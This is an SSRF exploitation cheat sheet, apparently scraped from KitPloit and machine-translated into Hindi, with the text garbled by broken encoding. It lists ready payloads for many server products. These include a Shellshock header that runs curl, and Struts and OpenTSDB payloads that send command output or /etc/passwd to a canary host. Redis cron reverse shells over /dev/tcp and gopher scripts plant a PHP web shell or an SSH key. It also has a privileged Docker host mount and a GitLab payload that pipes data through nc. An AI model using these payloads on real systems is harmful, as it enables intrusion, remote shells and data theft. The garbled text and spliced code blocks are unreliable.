_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

root@kitploit:~
    
    
    <div id="consul"></div>
    
    ## Hashicorp Consul
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 8500, 8501 (SSL)**
    
    Writeup [рдпрд╣рд╛рдБ](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html) рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
    
    <div id="shellshock"></div>
    
    ## Shellshock
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 80, 443 (SSL), 8080**
    
    рд╢реЗрд▓рд╢реЙрдХ рдХрд╛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдкреЗрд▓реЛрдб рдпреБрдХреНрдд рдПрдХ рд╣реЗрдбрд░ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд CGI рдкрде рдЖрдЬрд╝рдорд╛рдиреЗ рдпреЛрдЧреНрдп рд╣реИрдВ:
    
    рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП CGI рдкрдереЛрдВ рдХреА рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╕реВрдЪреА:
    
    [рдкрдереЛрдВ рд╡рд╛рд▓рд╛ Gist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
    
    **SSRF рдХреИрдирд░реА: User Agent рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Shellshock**```bash
    User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY
    

## Apache Druid

**рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯреНрд╕: 80, 8080, 8888, 8082**

Apache Druid рдХреЗ рд▓рд┐рдП API рд╕рдВрджрд░реНрдн рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВред

рдпрджрд┐ рдЖрдк рд╕реНрдЯреЗрдЯрд╕ рдХреЛрдб рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдереЛрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рд╡реЗ 200 рд╕реНрдЯреЗрдЯрд╕ рдХреЛрдб рд▓реМрдЯрд╛рддреЗ рд╣реИрдВ рдпрд╛ рдирд╣реАрдВ:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus

root@kitploit:~
    
    
    рд╢рдЯрдбрд╛рдЙрди рдХрд╛рд░реНрдп, рдЖрдкрдХреЛ рдХрд╛рд░реНрдп IDs рдпрд╛ рдбреЗрдЯрд╛рд╕реЛрд░реНрд╕ рдирд╛рдо рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ:```bash
    /druid/indexer/v1/task/{taskId}/shutdown
    /druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
    

Apache Druid Overlords рдкрд░ рд╕реБрдкрд░рд╡рд╛рдЗрдЬрд╝рд░ рдмрдВрдж рдХрд░реЗрдВ:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown

root@kitploit:~
    
    
    <div id="solr"></div>
    
    ## Apache Solr
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 8983**
    
    **SSRF рдХреИрдирд░реА: Shards рдкреИрд░рд╛рдореАрдЯрд░**
    
    <blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">рд╢реБрднрдо рдЬреЛ рдХрд╣ рд░рд╣рд╛ рд╣реИ рдЙрд╕рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП - solr рдХреЗ рд▓рд┐рдП рд╕реНрдХреИрди рдХрд░рдирд╛ рдЕрдкреЗрдХреНрд╖рд╛рдХреГрдд рдЖрд╕рд╛рди рд╣реИред рдПрдХ shards= рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИ рдЬреЛ рдЖрдкрдХреЛ SSRF рд╕реЗ SSRF рддрдХ рдмрд╛рдЙрдВрд╕ рдХрд░рдХреЗ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЖрдк рдЖрдБрдЦ рдмрдВрдж рдХрд░рдХреЗ solr рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЛ рд╣рд┐рдЯ рдХрд░ рд░рд╣реЗ рд╣реИрдВред</p>&mdash; ╨е╨░╨▓╨╕╨╢ ╨Э╨░╤Д╤Д╨╕ ЁЯеХ (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 рдЬрдирд╡рд░реА, 2021</a></blockquote>
    
    [рдпрд╣рд╛рдБ](https://github.com/veracode-research/solr-injection) рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ред```bash
    /search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
    /solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
    /xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
    /xxx?q=aaa&shards=http://SSRF_CANARY/solr
    

**SSRF Canary: Solr XXE (2017)**

Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}

root@kitploit:~
    
    
    **dataImportHandler рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE**
    
    [dataImportHandler рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдкрд░ рд╢реЛрдз](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
    
    <div id="peoplesoft"></div>
    
    ## PeopleSoft
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрдВрдзреЗ рдкреЛрд░реНрдЯ: 80,443 (SSL)**
    
    рдЗрд╕ рд╢реЛрдз рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ [рдпрд╣рд╛рдБ](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
    
    **SSRF рдХреИрдирд░реА: XXE #1**```http
    POST /PSIGW/HttpListeningConnector HTTP/1.1
    Host: website.com
    Content-Type: application/xml
    ...
    
    <?xml version="1.0"?>
    <!DOCTYPE IBRequest [
    <!ENTITY x SYSTEM "http://SSRF_CANARY">
    ]>
    <IBRequest>
       <ExternalOperationName>&x;</ExternalOperationName>
       <OperationType/>
       <From><RequestingNode/>
          <Password/>
          <OrigUser/>
          <OrigNode/>
          <OrigProcess/>
          <OrigTimeStamp/>
       </From>
       <To>
          <FinalDestination/>
          <DestinationNode/>
          <SubChannel/>
       </To>
       <ContentSections>
          <ContentSection>
             <NonRepudiation/>
             <MessageVersion/>
             <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
             </Data>
          </ContentSection>
       </ContentSections>
    </IBRequest>
    

**SSRF Canary: XXE #2** ```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...

root@kitploit:~
    
    
    <div id="struts"></div>
    
    ## Apache Struts
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯреНрд╕: 80,443 (SSL),8080,8443 (SSL)**
    
    [рдпрд╣рд╛рдБ](https://blog.safebuff.com/2016/07/03/SSRF-Tips/) рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ред
    
    **SSRF Canary: Struts2-016**:
    
    рд╣рд░ рдЬреНрдЮрд╛рдд рдЖрдВрддрд░рд┐рдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ/URL рдХреЗ рдЕрдВрдд рдореЗрдВ рдЗрд╕реЗ рдЬреЛрдбрд╝реЗрдВ:```http
    ?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
    

## JBoss

**рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 80,443 (SSL),8080,8443 (SSL)**

рдпрд╣рд╛рдБ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ред

**SSRF рдХреИрдирд░реА: URL рд╕реЗ WAR рдбрд┐рдкреНрд▓реЙрдп рдХрд░реЗрдВ** ```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

root@kitploit:~
    
    
    <div id="confluence"></div>
    
    ## Confluence
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 80,443 (SSL),8080,8443 (SSL)**
    
    **SSRF рдХреИрдирд░реА: Sharelinks  (рдирд╡рдВрдмрд░ 2016 рдФрд░ рдЙрд╕рд╕реЗ рдкреБрд░рд╛рдиреЗ рд░рд┐рд▓реАрдЬрд╝ рдХрд┐рдП рдЧрдП Confluence рд╕рдВрд╕реНрдХрд░рдг)**```bash
    /rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
    

**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)**

Atlassian рд╕реБрд░рдХреНрд╖рд╛ рдЯрд┐рдХрдЯ OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

root@kitploit:~
    
    
    <div id="jira"></div>
    
    ## Jira
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрджреНрдз рдкреЛрд░реНрдЯ: 80,443 (SSL),8080,8443 (SSL)**
    
    **SSRF рдХреИрдирд░реА: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
    
    [Atlassian рд╕реБрд░рдХреНрд╖рд╛ рдЯрд┐рдХрдЯ OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
    /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
    

**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)**

Atlassian рд╕реБрд░рдХреНрд╖рд╛ рдЯрд┐рдХрдЯ JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:some-email@example.com

root@kitploit:~
    
    
    <div id="atlassian-products"></div>
    
    ## рдЕрдиреНрдп Atlassian рдЙрддреНрдкрд╛рдж
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрдВрдзреЗ рдкреЛрд░реНрдЯ: 80,443 (SSL),8080,8443 (SSL)**
    
    **SSRF рдХреИрдирд░реА: iconUriServlet (CVE-2017-9506)**:
    - Bamboo < 6.0.0
    - Bitbucket < 4.14.4
    - Crowd < 2.11.2
    - Crucible < 4.3.2
    - Fisheye < 4.3.2
    
    [Atlassian рд╕реБрд░рдХреНрд╖рд╛ рдЯрд┐рдХрдЯ OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
    /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
    

## OpenTSDB

**рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 4242**

OpenTSDB Remote Code Execution

**SSRF рдХреИрдирд░реА: RCE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ curl** ```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

root@kitploit:~
    
    
    [OpenTSDB 2.4.0 рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди](https://github.com/OpenTSDB/opentsdb/issues/2051)
    
    **SSRF рдХреИрдирд░реА: RCE рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ curl - CVE-2020-35476**```bash
    /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
    

## Jenkins

**рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреЛрд░реНрдЯ: 80,443 (SSL),8080,8888**

рдмреЗрд╣рддрд░реАрди рд▓реЗрдЦ рдпрд╣рд╛рдБ.

**SSRF рдХреИрдирд░реА: CVE-2018-1000600** ```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

root@kitploit:~
    
    
    **RCE**
    
    GET рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рджрд┐рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
    /org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
    

**Groovy рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE** ``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

root@kitploit:~
    
    
    <div id="hystrix"></div>
    
    ## Hystrix Dashboard
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 80,443 (SSL),8080**
    
    Spring Cloud Netflix, рд╕рдВрд╕реНрдХрд░рдг 2.2.x рдкреВрд░реНрд╡ 2.2.4, рд╕рдВрд╕реНрдХрд░рдг 2.1.x рдкреВрд░реНрд╡ 2.1.6ред
    
    **SSRF Canary: CVE-2020-5412**```bash
    /proxy.stream?origin=http://SSRF_CANARY/
    

## W3 Total Cache

**рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 80,443 (SSL)**

W3 Total Cache 0.9.2.6-0.9.3

**SSRF рдХреИрдирд░реА: CVE-2019-6715**

рдпрд╣ рдПрдХ PUT рдЕрдиреБрд░реЛрдз рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: _/_ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

root@kitploit:~
    
    
    **SSRF Canary**
    
    рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдбрд╡рд╛рдЗрдЬрд╝рд░реА рдпрд╣рд╛рдБ рдЬрд╛рд░реА рдХреА рдЧрдИ рдереА: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)
    
    рдпрд╣ PHP рдХреЛрдб рдЖрдкрдХреЗ SSRF Canary рд╣реЛрд╕реНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ (`url` рдХреЛ рдЕрдкрдиреЗ рдХреИрдирд░реА рд╣реЛрд╕реНрдЯ рд╕реЗ рдмрджрд▓реЗрдВ):```php
    <?php
    
    $url='http://www.google.com';
    $file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
    $file=chop($file,'=');
    $req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
    echo($req);
    
    ?>
    

## Docker

**рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 2375, 2376 (SSL)**

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ рдмреНрд▓рд╛рдЗрдВрдб SSRF рд╣реИ, рддреЛ рдЖрдк Docker рдХреЗ API рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдереЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:```bash /containers/json /secrets /services

root@kitploit:~
    
    
    **рдПрдХ рдордирдорд╛рдирд╛ рдбреЙрдХрд░ рдЗрдореЗрдЬ рдЪрд▓рд╛рдиреЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE**```http
    POST /containers/create?name=test HTTP/1.1
    Host: website.com
    Content-Type: application/json
    ...
    
    {"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
    

рдЕрдкрдиреЗ рдбреЙрдХрд░ рдХрдВрдЯреЗрдирд░ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЬрд┐рд╕ рднреА рдЗрдореЗрдЬ рдХреЛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЙрд╕рд╕реЗ alpine рдХреЛ рдмрджрд▓реЗрдВред

## Gitlab Prometheus Redis Exporter

**рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 9121**

рдпрд╣ рднреЗрджреНрдпрддрд╛ Gitlab рдХреЗ рд╕рдВрд╕реНрдХрд░рдг 13.1.1 рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИред Gitlab рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рдЕрдиреБрд╕рд╛рд░ `Prometheus and its exporters are on by default, starting with GitLab 9.0. `

рдпреЗ рдПрдХреНрд╕рдкреЛрд░реНрдЯрд░ рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЛ CVE-2020-13379 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреНрдп рд╕реЗрд╡рд╛рдУрдВ рдкрд░ pivot рдХрд░рдиреЗ рдФрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдЙрддреНрдХреГрд╖реНрдЯ рдЕрд╡рд╕рд░ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдЖрд╕рд╛рдиреА рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдПрдХреНрд╕рдкреЛрд░реНрдЯрд░реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ Redis Exporter рд╣реИред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЛ target рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП redis рд╕рд░реНрд╡рд░ рдореЗрдВ рд╕рднреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдбрдВрдк рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

root@kitploit:~
    
    
    **рдЧреЛрдлрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрднрд╡**
    
    <div id="redis"></div>
    
    ## Redis
    
    **рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 6379**
    
    рдЕрдиреБрд╢рдВрд╕рд┐рдд рдкрдарди:
    
    - [HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ Redis рдХреЛ рд╣реИрдХ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
    - [Redis рдХреЗ рд╡рд┐рд░реБрджреНрдз SSRF рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
    
    **Cron рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE** - [Gopher рдЖрдХреНрд░рдордг рд╕рддрд╣реЗрдВ](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
    redis-cli -h $1 flushall
    echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
    redis-cli -h $1 config set dir /var/spool/cron/
    redis-cli -h $1 config set dbfilename root
    redis-cli -h $1 save
    

Gopher:```bash gopher://127.0.0.1:6379/__1%0d%0a$8%0d%0aflushall%0d%0a_ 3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a _4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a_ 4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

root@kitploit:~
    
    
    **рд╢реЗрд▓ рдЕрдкрд▓реЛрдб (PHP) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE** - [Redis Getshell рд╕рд╛рд░рд╛рдВрд╢](https://www.mdeditor.tw/pl/pBy0)```python
    #!/usr/bin/env python
    # -*-coding:utf-8-*-
    
    import urllib
    protocol="gopher://"
    ip="192.168.189.208"
    port="6379" 
    shell="\n\n<?php phpinfo();?>\n\n"
    filename="shell.php"
    path="/var" 
    passwd=""
    
    cmd=["flushall",
         "set 1 {}".format(shell.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="\r\n"
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload
    

**authorized_keys рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE** \- Redis Getshell рд╕рд╛рд░рд╛рдВрд╢```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"

# shell="\n\n\n\n"

sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd

if **name** =="**main** ": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

root@kitploit:~
    
    
    **Git рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ GitLab рдкрд░ RCE**
    
    Liveoverflow рдХрд╛ рдмреЗрд╣рддрд░реАрди рд▓реЗрдЦ [рдпрд╣рд╛рдБ](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)ред
    
    рд╣рд╛рд▓рд╛рдБрдХрд┐ рдЗрд╕рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП GitLab рддрдХ рдкреНрд░рдорд╛рдгрд┐рдд рдкрд╣реБрдБрдЪ рдЖрд╡рд╢реНрдпрдХ рдереА, рдореИрдВ рдкреЗрд▓реЛрдб рдпрд╣рд╛рдБ рд╢рд╛рдорд┐рд▓ рдХрд░ рд░рд╣рд╛ рд╣реВрдБ рдХреНрдпреЛрдВрдХрд┐ `git` рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЙрд╕ рд▓рдХреНрд╖реНрдп рдкрд░ рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рд╣реИрдХ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдпрд╣ рдкреЗрд▓реЛрдб рд╕рдВрджрд░реНрдн рдХреЗ рд▓рд┐рдП рд╣реИред```bash
    git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
    

## Memcache

**рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдмрд╛рдЙрдВрдб рдкреЛрд░реНрдЯ: 11211**

  * vBulletin Memcache RCE
  * GitHub Enterprise Memcache RCE
